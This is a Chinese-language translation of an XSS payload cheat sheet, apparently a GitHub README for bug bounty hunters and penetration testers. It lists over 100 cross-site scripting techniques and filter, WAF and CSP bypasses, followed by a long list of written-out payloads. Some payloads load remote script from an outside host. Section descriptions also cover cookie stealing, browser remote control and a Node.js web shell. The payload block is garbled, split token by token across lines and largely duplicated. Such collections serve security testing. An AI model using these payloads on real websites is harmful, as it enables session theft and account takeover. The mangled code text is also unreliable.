白帽赏金平台xss漏洞模糊测试有效载荷的最佳集合 2020版 <br> 该备忘清单可用于漏洞猎人,安全分析,渗透测试人员,根据应用的实际情况,测试不同的payload,并观察响应内容,查找web应用的跨站点脚本漏洞,共计100+条xss漏洞测试小技巧 <br> 本备忘录翻译自国外的XSS_Cheat_Sheet_2020_Edition.pdf
议题,源文件可在本项目内直接下载 <br> 整理完毕的测试payload清单文件为:xss_payload_list.txt
<br> 整理不易,少侠,留个小星星再走吧 (>ω<*)~ github项目地址:https://github.com/heroanswer/XSS_Cheat_Sheet_2020_Edition
1.基本 <br>2.高级 <br>3.绕过 <br>4.利用 <br>5.额外 <br>6.枚举 <br>
1.HTML Injection (代码注入) <br> 当输入的payload,被插入到HTML标签或外部标签的属性值内时,则使用下面的方法进行测试,如果输入的内容被插入到了HTML注释,则在payload之前添加"->"
2.HTML Injection – Tag Block Breakout(HTML注入–标签闭合) <br> 当输入的payload,被插入到以下标签的内部时,使用以下标签:<br><title> <style> <script> <textarea> <noscript> <pre> <xmp> <iframe>
(</tag>
为相应的html标签)。
3.HTML Injection - Inline (HTML注入-内联标签) <br> 当输入的payload,被插入到HTML标签的属性值内,但该标签不能以大于号(>
)进行闭合。<br>
4.HTML Injection - Source(HTML注入-源) <br> 当输入的payload,被作为以下HTML标签属性的值使用时:href
,src
,data
或action
。payload中的src
属性值可以是一个URL或者"data:,alert(1)"
。
5.Javascript Injection (javascript注入) <br> 当输入的payload,被插入到javascript标签块中的字符串定界值中时使用。
6.Javascript Injection - Escape Bypass (javascript注入-绕过) <br> 当输入的payload,被插入到javascript标签块字符串定界值中,但具有单引号,可以尝试使用反斜杠注释进行绕过。
7.Javascript Injection – Script Breakout (javascript注入-脚本突破) <br> 当输入的payload,被插入到javascript标签块中的任何位置时使用。
8.Javascript Injection - Logical Block (javscript注入-逻辑代码块) <br> 当输入的payload,被插入到javascript标签块时,使用第一个或第二个payload,该值如果位于字符串分隔值或在单个逻辑代码块(如函数或条件(if,else
,等等中)。 如果需要引用转义反斜杠,请使用第3个payload。
9.Javascript Injection - Quoteless (javscript注入-无变量名) <br>
当输入的payload在同一行javascript代码中有多次反射时使用。<br> 第一个payload适用于简单的javascript变量,第二个payload适用于非嵌套的javascript对象。 <br>
10.Javascript Context - Placeholder Injection in Template Literal (javascript注入-模板文字中的占位符注入) <br> 当输入的payload被插入到反引号(``)
分隔的字符串内或模板引擎中时使用。<br>
11.Multi Reflection HTML Injection - Double Reflection (Single Input) (HTML注入多重反射-双重反射(单输入)) <br> payload用于利用同一页面上的多次反射。<br>
12.Multi Reflection i HTML Injection - Triple Reflection (Single Input) (HTML注入多重反射-三次反射(单输入)) <br> payload用于利用同一页面上的多次反射。<br>
13.Multi Input Reflections HTML Injection - Double & Triple (HTML注入多输入反射-两次和三次) <br> payload用于利用同一页面上的多个输入反射。在HPP
(HTTP参数污染)其中存在重复参数的反射。 第三个payload利用相同参数的逗号分隔进行反射。<br>
14.File Upload Injection – Filename (文件上传注入-文件名) <br> payload用于用户上传的文件名返回在目标页面的某处时使用。
15.File Upload Injection – Metadata (文件上传注入-元数据) <br> payload用于,当上传文件的元数据返回在目标页面中的某处时使用。 它可以使用命令行exiftool
("$"是终端提示),并且可以设置任何元数据字段。
16.File Upload Injection – SVG File (文件上传注入-SVG文件) <br> 上传图像文件时,用于在目标上创建存储的XSS payload。 将以下内容另存为"xss.svg"
文件 <br>
17.DOM Insert Injection (DOM 注入) <br> 当注入的payload作为有效标记插入DOM中,而不是反映在源代码中时,用于测试XSS。<br> 它适用于html标签和其他payload无效的情况下使用。<br>
18.DOM Insert Injection – Resource Request (DOM 注入-资源请求) <br> 当网站调用本地的javascript代码发送请求,并且将请求的结果插入到页面中时,如果攻击者可以控制该URL。则可以使用以下payload进行测试 <br>
19.PHP Self URL Injection (PHP self URL注入) <br> 当网站服务器端PHP代码,将当前URL当作HTML表单属性值进行获取。payload在斜杠(/)
在php扩展名和查询部分的开始(?)
之间插入。<br>
20.Markdown Vector (Markdown 组件测试) <br> 在网站允许某些markdown标记,比如:输入的文本框,注释部分等中使用payload。点击触发。<br>
21.Script Injection - No Closing Tag (脚本注入-没有结束标记) <br> payload在反射后的javascript代码中有结束脚本标签(</script>
)时使用。 <br>
22.Javascript postMessage() DOM Injection (with Iframe) (Javascript postMessage() DOM注入(带有Iframe)) <br> 在JavaScript
代码中有"message"
事件监听器(如"window.addEventListener('message',...)"
)时使用该payload,并且服务器端没有检查来源。 如果能够对目标进行请求伪造(根据http
请求 X-Frame Options
标头)。 则另存一个HTML
文件(或者使用data:text/html
,以提供TARGET_URL和INJECTION(xss payload)
进行测试。<br>
23.XML-Based XSS (基于XML的XSS) <br> 该payload用于在XML
页面(内容类型为text/xml或application/xml
)中进行测试。如果输入点位于注释部分,则在payload前添加"->";如果输入位于CDATA部分,则将"->"添加payload。<br>
24.AngularJS Injections (v1.6 and up) (AngularJS注入(v1.6及更高版本))。 <br> 第一个payload用于在页面中,带有ng-app指令的HTML块中进行测试。<br> 第二个payload用于创建自己的AngularJS
库时使用。<br>
25.Onscroll Universal Vector (通用Onscroll事件 测试payload) <br> 使用onscroll事件处理web应用时,用户无需交互即可触发XSS漏洞。它与address, blockquote, body, center, dir, div, dl, dt, form, li, menu, ol, p, pre, ul,和h1到h6
HTML标签一起使用。 <br>
26.Type Juggling (类型戏法) <br> 该payload用于在web应用不够严格对比匹配数字的"if"条件中使用。<br>
27.XSS in SSI (SSI中的XSS漏洞) <br> 该payload在服务器端包含(SSI)
注入时使用。<br>
28.SQLi Error-Based XSS (基于sql显注的XSS) <br> 该payload在可以触发SQL错误消息(带引号或反斜杠)的功能点中进行测试。<br>
29.Injection in JSP Path (JSP路径中的xss注入) <br> 该payload可以在基于JSP的程序,测试应用的路径中使用。<br>
30.JS Injection - ReferenceError Fix (javascript注入-修复ReferenceError错误) <br> 该payload用于修复一些javascript代码的语法。 通过查看浏览器开发人员工具(F12)中的"控制台"选项卡,是否有相应的ReferenceError
,并相应地替换变量和函数名称进行测试。<br>
31.Bootstrap Vector (up to v3.4.0) (Bootstrap最新版xss测试) <br> 该payload用于web应用调用bootstrap
库时进行测试。 href
值的任何char
都可以进行HTML编码,只需单击页面中的任意位置即可触发,并且绕过Webkit Auditor
过滤器。 <br>
32.Browser Notification (浏览器通知) <br> 以下payload用作alert()
,prompt()
和confirm()
函数的替代方法。 如果用户已经触发第一个payload,就可以使用第二个payload进行测试。<br>
33.XSS in HTTP Header - Cached (HTTP请求头中-缓存xss) <br> 该payload用于使用MISS-MISS-HIT
缓存方案(如果服务器端开启)在应用程序中测试存储XSS。 将XSS标签替换为相应的payload,并将TARGET
替换为虚拟字符串, 触发相同的请求3次,以避免页面的实际缓存信息。<br>
34.Mixed Case(大小写混合) <br> 该payload用于绕过区分大小写的xss过滤器。<br>
35.Unclosed Tags(未闭合标签) <br> 该payload在HTML注入中使用,可避免同时存在小于(<)
和大于(>)
符号的情况。<br>
36.Uppercase XSS (大写 XSS) <br> 当web应用以大写形式返回用户的输入时使用该payload。 URL中将"&"
替换为"%26"
,将"#"替换为"%23"
。<br>
37.Extra Content for Script Tags (脚本标签的额外内容) <br> 当web应用过滤器查找带有某些变体的"<script>"
或"<script src = ..."
但不检查其他属性时使用该payload。<br>
38.Double Encoded XSS (双重编码的XSS) <br> 当web应用程序对用户输入的内容执行双重解码时使用该payload。<br>
39.Alert without Parentheses (Strings Only) (没有括号的弹窗(仅字符串)) <br> 当web应用不允许使用括号并且常规的alert可以使用时,可在HTML向量或javascript注入payload进行使用。 <br>
40.Alert without Parentheses (不带括号的弹窗) <br> 当web应用不允许使用括号并且PoC需要返回任意目标信息时,可在HTML标签或javascript注入该payload中使用。 <br>
41.Alert without Parentheses – HTML Entities (不带括号的弹窗– HTML实体) <br> 当前的payload只能在HTML代码注入中使用,当web应用不允许使用括号时。 在URL中将"&"
替换为"%26"
,将"#"
替换为"%23"
。 <br>
42.Alert without Alphabetic Chars (不带字母字符的弹窗) <br> 当前web应用不允许使用字母字符时使用该payload。以下是alert(1)
的payload <br>
43.Alert Obfuscation (弹窗混淆) <br> 以下payload用于欺骗基于正则表达式(regex
)的过滤器。 可以将其与以前的绕过方法结合使用。 根据上下文,最短的选项"top"
也可以替换为"window"
,"parent"
,"self"或者"this"
<br>
44.Alert Alternative – Write & Writeln (弹窗代替方案-Write & Writeln) <br> 以下payload用作弹窗函数:alert
,prompt
,confirm
的替代方法。 如果在HTML标签块中则可以直接使用,但如果是javascript注入,则需要完整的"document.write"
形式。 URL中将"&"替换为"%26",将"#"
替换为"%23"
。 可以用writeln
代替Write
。 <br>
45.Alert Alternative – Open Pseudo-Protocol (弹窗代替方案-使用伪协议打开) <br> 以下payload用作弹窗函数:alert
,prompt
,confirm
的替代方法。 以上技巧也适用于此。 但只有第二个payload可以在基于Chromium
的浏览器中触发,并且需要<iframe name = 0>
。<br>
46.Alert Alternative - Eval + URL (弹窗代替方案-eval+url) <br> 以下payload用作弹窗函数:alert
,prompt
,confirm
的替代方法。第一个payload是原始形式,第二个payload是eval,它使用payload的id属性值替换eval
。<br> URL必须采用以下方式:在PHP扩展后的URL路径中或URL的片段中。 加号(+)
必须用URL进行编码。<br>
PoC URL必须包含以下之一: <br>
47.Alert Alternative - Eval + URL with Template Literal (弹窗代替方案-带有模板文字的Eval + URL) <br>
48.HTML Injection - Inline Alternative (HTML注入-内联替代) <br> 以下payload用于绕过黑名单。<br>
49.Strip-Tags Based Bypass (基于去除标签的绕过) <br> 以下payload用于,当过滤器filter
去掉<and>
标签字符之间的任何内容时进行测试,如PHP的strip_tags()
功能,但仅限内联注入 <br>
50.File Upload Injection – HTML/js GIF Disguise (文件上传注入- HTML/js GIF伪装) <br> 以下payload用于通过文件上传绕过CSP限制。将下面的所有内容保存为"xss.gif"
或"xss.js"
(用于严格的MIME检查)。这是PHP的image/gif
文件,它可以通过<link rel=import href=xss.gif>
(也称为"xss.js")或<script src=xss.js></script>
导入到目标web应用。<br>
51.Jump to URL Fragment (url分段跳转) <br> 例如,当我们需要在payload中隐藏一些会触发WAF
的关键字符,可以在URL片段(#)
之后使用各自的payload进行绕过。<br>
52.Second Order XSS Injection (二阶XSS注入) <br> 当我们的输入的内容将会被使用两次时,例如存储在数据库中,然后进行检索以供后面使用或插入到DOM中时,使用以下的payload进行测试 <br>
53.PHP Spell Checker Bypass (PHP拼写检查绕过) <br> 以下payload用于绕过PHP的pspell_new()
函数,该函数提供一个字典来尝试猜测用于搜索的输入. <br>
54.Event Origin Bypass for postMessage() XSS (postMessage()事件源XSS绕过) <br> 以下payload用于在目标的javascript
代码中可以绕过对源代码的检查时进行测试,将允许的源代码检查的参数,用于发送payload攻击域的子域。在本地主机上使用CrossPwn
脚本作为示例(在附加部分中进行提供)。<br>
55.CSP Bypass (for Whitelisted Google Domains) (CSP 绕过(通过谷歌白名单域名)) <br> 以下payload用于,当存在允许这些白名单域执行CSP
(内容安全策略)时使用。<br>
56.SVG Vectors with Event Handlers (带有事件处理程序的SVG向量) <br> 以下payload它可以在Firefox上
触发,但是通过在<set>
中添加attributename=x
参数也可以在Chromium
中工作。用于黑名单绕过,"Set"
也可以替换为"animate"
。<br>
57.SVG Vectors without Event Handlers (不带事件处理程序的SVG向量) <br> 以下payload用于避免过滤器查找事件处理程序或src
、data
等。进行url
编码后的最后一个payload仅适用于Firefox
<br>
58.Vectors without Event Handlers (不带事件处理程序的向量) <br> 如果web应用不允许,则payload用作事件处理程序的替代项。如payload本身所述,有些需要用户交互才能触发 <br>
59.Vectors with Agnostic Event Handlers (带有未知事件处理程序的向量) <br> 如果web应用不允许使用所有已知的HTML
标记名时,请使用以下payload。任何字母字符或字符串都可以用作标签名名来代替"x"
。<br> 如payload本身所述,有些需要用户交互才能触发.<br>
60.Mixed Context Reflection Entity Bypass (反射实体混合上下文绕过) <br> 以下payload用于在实际有效的js代码中的脚本块中转换特定的代码。它需要以在HTML
和javascript
上下文标签这种顺序执行,并且相关联彼此。<br> 这个svg
标记将使下一个脚本块中的单引号编码为'
或'
,并触发弹窗。<br> 以下javascript场景的payload,分别为:<br> 消除单引号、完全转义单引号、消除双引号和完全转义双引号 <br>
61.Strip-My-Script Vector (去除脚本向量) <br> 以下payload用于欺骗xss过滤器,用于去除最经典和最知名的XSS payload,它的工作原理是"<script>"
标签被删除。 <br>
62.Javascript Alternative Comments (Javascript注释替代) <br> 以下payload用于,当不允许、转义或删除常规javascript注释(//)时使用。<br>
63.JS Lowercased Input (javascript小写输入) <br> 以下payload用于当目标应用程序通过javascript将输入转换为小写时使用。它也可以用于服务器端的小写操作。 <br>
64.Overlong UTF-8 (超长UTF-8) <br> 以下payload用于当目标应用程序执行最佳匹配标签时使用。 <br>
65.Vectors Exclusive for ASP Pages (ASP网页专用payload) <br> 以下payload用于绕过.asp
页中的<[alpha]
筛选。<br>
66.PHP Email Validation Bypass (PHP电子邮件验证绕过) <br> 以下payload用于绕过PHP的FILTER_var()
函数的FILTER_VALIDATE_EMAIL
(筛选验证电子邮件)标志。<br>
67.PHP URL Validation Bypass (PHP URL验证绕过) <br> 以下payload用于绕过PHP的FILTER_var()
函数的FILTER_VALIDATE_EMAIL
(筛选验证电子邮件)标志。<br>
68.PHP URL Validation Bypass – Query Required (PHP URL验证绕过-需要查询) <br> 以下payload用于绕过PHP需要筛选标志查询(FILTER_FLAG_QUERY_REQUIRED
),筛选验证电子邮件(FILTER_VALIDATE_EMAIL
)的filter_var()
函数。<br>
69.DOM Insertion via Server Side Reflection (通过服务器端反射插入DOM) <br> 以下payload用于,当输入被反射到源中而不能执行时使用,为了避免浏览器筛选和WAF
,插入到DOM
中。<br>
70.XML-Based Vector for Bypass (基于XML的绕过) <br> 以下payload用于在XML网页中绕过浏览器筛选和WAF。<br> 如果输入插入到了注释节点中,则在payload前加一个"->",如果输入落在CDATA
节中,则在有效负载前加一个]]>
。<br>
71.Javascript Context - Code Injection (IE11/Edge Bypass) (Javascript上下文-代码注入(IE11/Edge 绕过)) <br> 以下payload用于在注入javascript上下文时,绕过Microsoft IE11
或Edge
浏览器。 <br>
72.Javascript Pseudo-Protocol Obfuscation (Javascript伪协议混淆) <br> 以下payload用于绕过查找javascript:alert(1)
的筛选器。在添加alert(1)
之前,请确保它可以与"1"成功弹窗,这个payload可能需要一些额外的模糊处理,通过url编码,才能完全绕过过滤器。最后一个选项仅适用于payload的DOM
操作(例如在基于位置的payload或基于DOM
的XSS中)。<br>
73.AngularJS Injection (v1.6+) – No Parentheses, Brackets or Quotes (AngularJS注入-无括号、括号或引号) <br> 以下payload用于避免xss过滤。第一,二个payload为了避免括号,最后一个payload,通过在URL中通正确编码,在相同或分离的注入点中使用它来避免引号。 <br>
74.Inside Comments Bypass (内部评论绕过) <br> 如果HTML注释中允许任何内容,则使用payload(regex:/<!--.*-->/)
. <br>
75.Agnostic Event Handlers Vectors – Native Script Based (未知事件处理程序向量-基于本机脚本) <br> 以下带有事件处理程序的payload,可以与任意标记名一起使用,这有助于绕过黑名单检测。它们需要在注入之后在页面中加载一些脚本。请记住,在下面的处理程序中使用诸如"<b"
之类的现有标记名,可能是在某些情况下触发xss的唯一方法。
76.Agnostic Event Handlers Vectors – CSS3 Based (未知事件处理程序向量——基于CSS3) <br> 以下带有带有事件处理程序的向量,可以与任意标记名一起使用,这有助于绕过黑名单。它们需要<style>
标签,或使用<link
>标签导入样式表。最后 四个payload只适用于火狐。
77.Remote Script Call (远程脚本调用) <br> 以下payload用于当需要调用外部脚本,但XSS向量是基于web应用处理程序的脚本时使用(如<svg onload=
)或通过javascript注入 <br> "brutelogic.com.br"域和HTML,js文件为例。如果以某种方式过滤">"
,请将"r=>"
或"w=>"
替换为 "function()"
。<br>
78.Invisible Foreign XSS Embedding (不可见的外部XSS嵌入) <br> 以下payload用于将XSS从另一个域(或子域)加载到当前域中。受限于目标域的X-Frame-Options(XFO)
头文件。<br> 下面是brutelogic.com.br
上下文中的弹窗示例,不分域名。<br>
79.Simple Virtual Defacement (简单的虚假网页信息) <br> 以下payload用于更改网站HTML代码的显示方式。在下面的例子中显示"Not Found"消息。<br>
80.Blind XSS Mailer (xss邮件盲打) <br> 以下payload将其于远程XSS盲打脚本,另存为PHP文件并更改$to
和$headers
变量 <br> 因此。需要一台Postfix这样的工作邮件服务器。<br>
81.Browser Remote Control (浏览器远程控制) <br> 以下payload用于监控浏览器并以交互方式,向其发送javascript命令。注入下面的javascript代码而不是alert(1)
,会打开一个类似Unix的终端,使用下面的shell脚本(监听器)。将主机的主机名、IP地址或域名提供给从攻击者机器,然后接收命令去执行。
82.Node.js Web Shell (Node.js web后门) <br> 以下payload用于在易受攻击的Node.js应用程序中创建web后门,在运行下面的有效负载之后,按以下方式使用shell <br>shell:http://target:5855/?cmd=my_node.js_command
<br> 弹出计算示例:cmd=require('child_process').exec('gnome-calculator')
<br>
83.Cookie Stealing (窃取cookie信息) <br> 用于从目标站点设置的受害者用户获取所有cookie。如果无法通过httpOnly
安全标志。则在URL中将"+"编码为"%2B" <br>
84.XSS Online Test Page (XSS在线测试页面) <br> 以下地址用于练习XSS向量和有效载荷。检查注入点的源代码。 <br>
85.HTML Entities Table (HTML实体表) <br> 用于HTML编码字符。
85.Multi-Case HTML Injection (多案例HTML注入) <br> 以下payload可作为一次测试机会,它有更高的成功XSS率。它适用于HTML上下文的所有情况(参见基础部分),包括带有标记注入的JS上下文。<br>
86.Multi-Case HTML Injection - Base64 (多案例HTML注入-Base64) <br> 以下payload,在Base64编码以后中作为一次测试机会,可获得更高的XSS成功率。它适用于HTML上下文的所有情况(参见基础部分),包括带有标记注入的JS上下文。<br>
87.Vectors for Fixed Input Length (固定输入长度的payload) <br> 以下payload在输入必须具有固定长度时使用 <br>
88.PHP Sanitizing for XSS (PHP xss过滤) <br> 以下代码只用于阻止每个上下文中的xss,只要输入不返回在非分隔字符串、反勾号中间或任何其他类似于eval
的函数(JS上下文中的所有函数)中。但是它不防止基于DOM的XSS,只防止基于源代码的XSS。<br>
89.JavaScript Execution Delay (javascript执行延迟) <br> 以下payload基于JQuery的外部调用为例,当javascript库或任何其他需要注入的资源,在payload的执行中未完全加载时使用。 <br>
90.Image Vectors - Alternative Event Handlers (图像向量-可选事件处理程序) <br> 以下payload用于触发事件处理程序,不同于onerror
事件。 <br>
91.Shortest XSS (最短XSS) <br> 当有一个有限xss漏洞利用点时。需要一个javascript脚本调用,通过相对路径放在xss需要加载的位置之后。攻击者服务器必须使用攻击脚本对本机脚本(相同路径)或默认404页(更容易)内完成的确切请求进行响应。域名越短越好。 <br>
92.Mobile-only Event Handlers (仅处理移动端应用) <br> 以下payload,针对移动应用程序时使用。<br>
93.Body Tag (body 标签) <br> body标签的集合。最后一个只适用于Internet Explorer
浏览器。<br>
94.Less Known XSS Vectors (未知的XSS向量) <br> 未知的XSS向量的集合。 <br>
95.Alternative PoC - Shake Your Body (非传统的xss payload) <br> 以下payload用于摇动页面的所有元素,作为漏洞验证的良好可视化。<br>
96.Alternative PoC - Brutality (非传统的xss payload) <br> 以下payload用于显示"Mortal Kombat’s Sub-Zero"角色的图像以及"brutality"的游戏声音。<br>
97.Alternative PoC - Alert Hidden Values (非传统的xss payload) <br> 以下payload用于证明所有隐藏的HTML值(如目标页面中的标记和nonce
)都可以被窃取。<br>
98.Improved Likelihood of Mouse Events (提高鼠标事件的可能性) <br> 以下payload用于创建要触发鼠标事件的更大区域范围。在任何使用鼠标事件(如onmouseover
、onclick
等)的XSS payload中添加以下内容(作为属性)。<br>
99.Alternative to Style Tag (替代css样式标记) <br> 以下payload用于当内联和标记名的"style"
关键字被阻止时使用 <br>
100.Cross-Origin Script - CrossPwn (跨源脚本-CrossPwn) <br> 将下面的内容另存为.html文件,并按如下方式使用:<br>
其中"facebook.com"是允许的来源,"localhost"正在攻击域 <br>"//brutelogic.com.br/tests/status.html"
是目标页和"<script>alert(document.domain)"
是发送的消息(payload)。<br>
code:
101.Location Based Payloads (基于位置的有效载荷) <br> 下面的XSS payload使用一种更详细的方法来执行负载,使用文档属性来提供另一个文档属性,即位置属性。这就产生了复杂的向量,对于绕过滤器和waf
非常有用。因为它们使用任意标记(XHTML
),所以可以使用前面看到的任何未知的事件处理程序。这里,"onmouseover"
将用作默认值。在URL中将加号(+)
编码为%2B
。<br>
102.Location Basics (位置基础知识) <br> payload与更简单的操作,以实现重定向到javascript伪协议。 <br>
103.Location with URL Fragment (包含URL片段的位置) <br> 如果在POST请求中需要使用带有未编码符号的payload。,URL必须在操作URL中使用片段。<br>
104.Location with Leading Alert (最重要的弹窗位置) <br>
105.Location with Self URL (last is FF Only) (具有self URL的位置(最后一个仅限FF)) <br> 以下payload需要用使用输入的易受攻击的参数替换[P}
。在URL中将&
编码为%26
。<br>
106.Location with Template Literal (具有模板文本的位置) <br>
107.Inner & Outer HTML Properties Alternative (内部和外部HTML属性选项) <br> 最后这些payload利用元素的innerHTML和outerHTML属性得到与位置向量相同的结果。但是他们需要创建一个完整的HTML向量,而不是一个javascript:aler(1)
字符串。下面的元素集合可以与索引0一起使用,它们都可以替换下面使用的head或body元素,以便更容易地遵循:all[0]
、anchors[0],
、embed[0]
、forms[0]
、images[0]
、links[0]
和scripts[0]
。<br>
108.XSS Vector Schemes (XSS向量格式) <br> 基本上有3种不同的方案来构建基于HTML的XSS向量。所有字符根据有效语法,用于分隔字段的字节显示在下拉列表中。<br>%x
表示从%00
到%0F
的每个字节,以及%1X
。ENT
表示HTML实体,这意味着任何允许的字符或字节都可以在它们的HTML实体表单中使用(字符串和数字)。<br> 最后,注意javascript
这个词可能有一些字节介于两者之间 <br> 字符也可以是URL或HTML编码的。 <br> Vector Scheme 1 (tag name + handler)
Vector Scheme 2 (tag name + attribute + handler)
Vector Scheme 3 (tag name + href|src|data|action|formaction)
英文议题作者: <br>@brutelogic
<br>中文翻译团队: <br>@answer
@farmsec
<svg onload
=
alert(
1
)>
"><svg onload
=
alert(
1
)>
<svg onload
=
alert(
1
)>
"><svg onload
=
alert(
1
)>
<
/
tag><svg onload
=
alert(
1
)>
"><
/
tag><svg onload
=
alert(
1
)>
<
/
tag><svg onload
=
alert(
1
)>
"><
/
tag><svg onload
=
alert(
1
)>
"onmouseover
=
alert(
1
)
/
/
"autofocus onfocus
=
alert(
1
)
/
/
"onmouseover
=
alert(
1
)
/
/
"autofocus onfocus
=
alert(
1
)
/
/
javascript:alert(
1
)
'-alert(1)-'
'
/
alert(
1
)
/
/
'-alert(1)-'
'
/
alert(
1
)
/
/
\'
/
alert(
1
)
/
/
<
/
script><svg onload
=
alert(
1
)>
<
/
script><svg onload
=
alert(
1
)>
'}alert(1);{'
'}alert(1)%0A{'
\'}alert(
1
);{
/
/
'}alert(1);{'
'}alert(1)%0A{'
\'}alert(
1
);{
/
/
/
alert(
1
)
/
/
\
/
alert(
1
)}
/
/
\
/
alert(
1
)
/
/
\
/
alert(
1
)}
/
/
\
${alert(
1
)}
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*
/
alert(
1
)<
/
script><script>
/
*
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*
/
alert(
1
)<
/
script><script>
/
*
*
/
alert(
1
)
">'onload="
/
*
<svg
/
1
=
'
`
-
alert(
1
)
">'onload="
`<svg
/
1
=
'
*
/
<
/
script>
'>alert(1)/*<script/1='
*
/
alert(
1
)
">'onload="
/
*
<svg
/
1
=
'
`
-
alert(
1
)
">'onload="
`<svg
/
1
=
'
*
/
<
/
script>
'>alert(1)/*<script/1='
p
=
<svg
/
1
=
'&q='
onload
=
alert(
1
)>
p
=
<svg
1
=
'&q='
onload
=
'/*&r=*/alert(1)'
>
q
=
<script
/
&q
=
/
src
=
data:&q
=
alert(
1
)>
p
=
<svg
/
1
=
'&q='
onload
=
alert(
1
)>
p
=
<svg
1
=
'&q='
onload
=
'/*&r=*/alert(1)'
>
q
=
<script
/
&q
=
/
src
=
data:&q
=
alert(
1
)>
"><svg onload
=
alert(
1
)>.gif
"><svg onload
=
alert(
1
)>.gif
$ exiftool
-
Artist
=
'"><svg onload=alert(1)>'
xss.jpeg
$ exiftool
-
Artist
=
'"><svg onload=alert(1)>'
xss.jpeg
<svg xmlns
=
"http://www.w3.org/2000/svg"
onload
=
"alert(1)"
/
>
<svg xmlns
=
"http://www.w3.org/2000/svg"
onload
=
"alert(1)"
/
>
<img src
=
1
onerror
=
alert(
1
)>
<iframe src
=
javascript:alert(
1
)>
<details
open
ontoggle
=
alert(
1
)>
<svg><svg onload
=
alert(
1
)>
<img src
=
1
onerror
=
alert(
1
)>
<iframe src
=
javascript:alert(
1
)>
<details
open
ontoggle
=
alert(
1
)>
<svg><svg onload
=
alert(
1
)>
data:text
/
html,<img src
=
1
onerror
=
alert(
1
)>
data:text
/
html,<iframe src
=
javascript:alert(
1
)>
data:text
/
html,<img src
=
1
onerror
=
alert(
1
)>
data:text
/
html,<iframe src
=
javascript:alert(
1
)>
https:
/
/
brutelogic.com.br
/
xss.php
/
"><svg onload
=
alert(
1
)>?a
=
reader
https:
/
/
brutelogic.com.br
/
xss.php
/
"><svg onload
=
alert(
1
)>?a
=
reader
[clickme](javascript:alert`
1
`)
[clickme](javascript:alert`
1
`)
<script src
=
data:,alert(
1
)>
<script src
=
/
/
brutelogic.com.br
/
1.js
>
<script src
=
data:,alert(
1
)>
<script src
=
/
/
brutelogic.com.br
/
1.js
>
<iframe src
=
TARGET_URL onload
=
"frames[0].postMessage('INJECTION','*')"
>
<iframe src
=
TARGET_URL onload
=
"frames[0].postMessage('INJECTION','*')"
>
<x:script xmlns:x
=
"http://www.w3.org/1999/xhtml"
>alert(
1
)<
/
x:script>
<x:script xmlns:x
=
"http://www.w3.org/1999/xhtml"
src
=
"//brutelogic.com.br/1.js"
/
>
<x:script xmlns:x
=
"http://www.w3.org/1999/xhtml"
>alert(
1
)<
/
x:script>
<x:script xmlns:x
=
"http://www.w3.org/1999/xhtml"
src
=
"//brutelogic.com.br/1.js"
/
>
{{$new.constructor(
'alert(1)'
)()}}
<x ng
-
app>{{$new.constructor(
'alert(1)'
)()}}
{{$new.constructor(
'alert(1)'
)()}}
<x ng
-
app>{{$new.constructor(
'alert(1)'
)()}}
<p style
=
overflow:auto;font
-
size:
999px
onscroll
=
alert(
1
)>AAA<x
/
id
=
y><
/
p>
<p style
=
overflow:auto;font
-
size:
999px
onscroll
=
alert(
1
)>AAA<x
/
id
=
y><
/
p>
1
<svg onload
=
alert(
1
)>
1
"><svg onload
=
alert(
1
)>
1
<svg onload
=
alert(
1
)>
1
"><svg onload
=
alert(
1
)>
<<!
-
-
%
23set
var
=
"x"
value
=
"svg onload=alert(1)"
-
-
><!
-
-
%
23echo
var
=
"x"
-
-
>>
<<!
-
-
%
23set
var
=
"x"
value
=
"svg onload=alert(1)"
-
-
><!
-
-
%
23echo
var
=
"x"
-
-
>>
'
1
<svg onload
=
alert(
1
)>
<svg onload
=
alert(
1
)>\
'
1
<svg onload
=
alert(
1
)>
<svg onload
=
alert(
1
)>\
/
/
DOMAIN
/
PATH
/
;<svg onload
=
alert(
1
)>
/
/
DOMAIN
/
PATH
/
;"><svg onload
=
alert(
1
)>
/
/
DOMAIN
/
PATH
/
;<svg onload
=
alert(
1
)>
/
/
DOMAIN
/
PATH
/
;"><svg onload
=
alert(
1
)>
';alert(1);var myObj='
';alert(1);function myFunc(){}'
';alert(1);var myObj='
';alert(1);function myFunc(){}'
<html data
-
toggle
=
tab href
=
"<img src=x onerror=alert(1)>"
>
<html data
-
toggle
=
tab href
=
"<img src=x onerror=alert(1)>"
>
Notification.requestPermission(x
=
>{new(Notification)(
1
)})
new(Notification)(
1
)
Notification.requestPermission(x
=
>{new(Notification)(
1
)})
new(Notification)(
1
)
$ curl
-
H
"Vulnerable_Header: <XSS>"
TARGET
/
?dummy_string
$ curl
-
H
"Vulnerable_Header: <XSS>"
TARGET
/
?dummy_string
<Svg OnLoad
=
alert(
1
)>
<Script>alert(
1
)<
/
Script>
<Svg OnLoad
=
alert(
1
)>
<Script>alert(
1
)<
/
Script>
<svg onload
=
alert(
1
)
/
/
<svg onload
=
"alert(1)"
<svg onload
=
alert(
1
)
/
/
<svg onload
=
"alert(1)"
<SVG ONLOAD
=
&
<SCRIPT SRC
=
/
/
BRUTELOGIC.COM.BR
/
1
><
/
SCRIPT>
<SVG ONLOAD
=
&
<SCRIPT SRC
=
/
/
BRUTELOGIC.COM.BR
/
1
><
/
SCRIPT>
<script
/
x>alert(
1
)<
/
script>
<script
/
x>alert(
1
)<
/
script>
%
253Csvg
%
2520o
%
256Eload
%
253Dalert
%
25281
%
2529
%
253E
%
2522
%
253E
%
253Csvg
%
2520o
%
256Eload
%
253Dalert
%
25281
%
2529
%
253E
%
253Csvg
%
2520o
%
256Eload
%
253Dalert
%
25281
%
2529
%
253E
%
2522
%
253E
%
253Csvg
%
2520o
%
256Eload
%
253Dalert
%
25281
%
2529
%
253E
alert`
1
`
setTimeout`alert\x28document.domain\x29`
setInterval`alert\x28document.domain\x29`
setTimeout`alert\x28document.domain\x29`
setInterval`alert\x28document.domain\x29`
<svg onload
=
alert(
1
)>
<svg onload
=
alert&
<svg onload
=
alert(
1
)>
<svg onload
=
alert&
[][
'\146\151\154\164\145\162'
][
'\143\157\156\163\164\162\165\143\164\157\162'
]
(
'\141\154\145\162\164\50\61\51'
)()
[][
'\146\151\154\164\145\162'
][
'\143\157\156\163\164\162\165\143\164\157\162'
]
(
'\141\154\145\162\164\50\61\51'
)()
(alert)(
1
)
a
=
alert,a(
1
)
[
1
].find(alert)
top[
"al"
+
"ert"
](
1
)
top[
/
al
/
.source
+
/
ert
/
.source](
1
)
al\u0065rt(
1
)
top[
'al\145rt'
](
1
)
